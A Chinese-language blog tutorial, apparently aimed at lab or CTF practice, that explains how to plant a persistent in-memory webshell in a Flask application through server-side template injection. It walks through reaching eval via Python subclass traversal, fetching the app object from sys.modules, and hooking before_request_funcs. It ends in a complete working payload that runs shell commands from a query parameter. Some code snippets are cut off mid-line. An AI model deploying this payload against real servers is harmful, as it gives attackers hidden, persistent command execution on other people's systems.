flask_ssti内存马
flask_ssti内存马
https://www.cnblogs.com/gxngxngxn/p/18181936
这里的内存不是二进制那些高深的概念
就是改变某些在请求过程中,
会起到作用的属性和方法,从而达到我们的目的
写内存马的前提不同于文件马
需要实现的是代码执行而不是文件读写
利用脚本找出ssti中存在的eval
import requests |
那么我们就成功拿到了一个代码执行的payload
().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval('print(0)') |
获取回显的方式
示例:before_request
靶场源码:
from flask import Flask, request, render_template_string |
获取到app(Flask对象)
使用Python
的内置核心模块sys
来获取
sys是Python 的一个内置核心模块, |
payload:
__import__('sys').modules['__main__'].__dict__['app'] |
获取定制回显
使用before_request钩子的场景
https://geek-docs.com/flask/flask-questions/69_flask_python_flask_after_request_and_before_request_for_a_specific_set_of_request.html
from flask import Flask, request |
源码:
|
也就是说编写在用户自己的应用里的before_request函数,
会作为一个函数(f)添加进before_request_funcs里
这些函数会在请求进入真正的接口前执行
如果这些函数没有返回值(None
)则成功进入接口
否则回显对应的返回值,那我们就可以使用lambda
表达式定制自己的回显了
payload:
app.before_request_funcs.setdefault(None, []).append(lambda :xxx) |
配合ssti写入内存马
把上述的获取方式拼接一下得到内存马的payload:
eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('ivory')).read())") |
结合上面到eval
的payload,拼起来就是:
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('ivory')).read())")}} |
但是利用这个payload会出现报错
因为外面的flask
并不在 lambda
函数的执行环境中
所以接收命令的部分需要额外加一个import
__import__('flask').request.args.get('ivory') |
最终payload:
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(__import__('flask').request.args.get('ivory')).read())")}} |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 ivory's blog!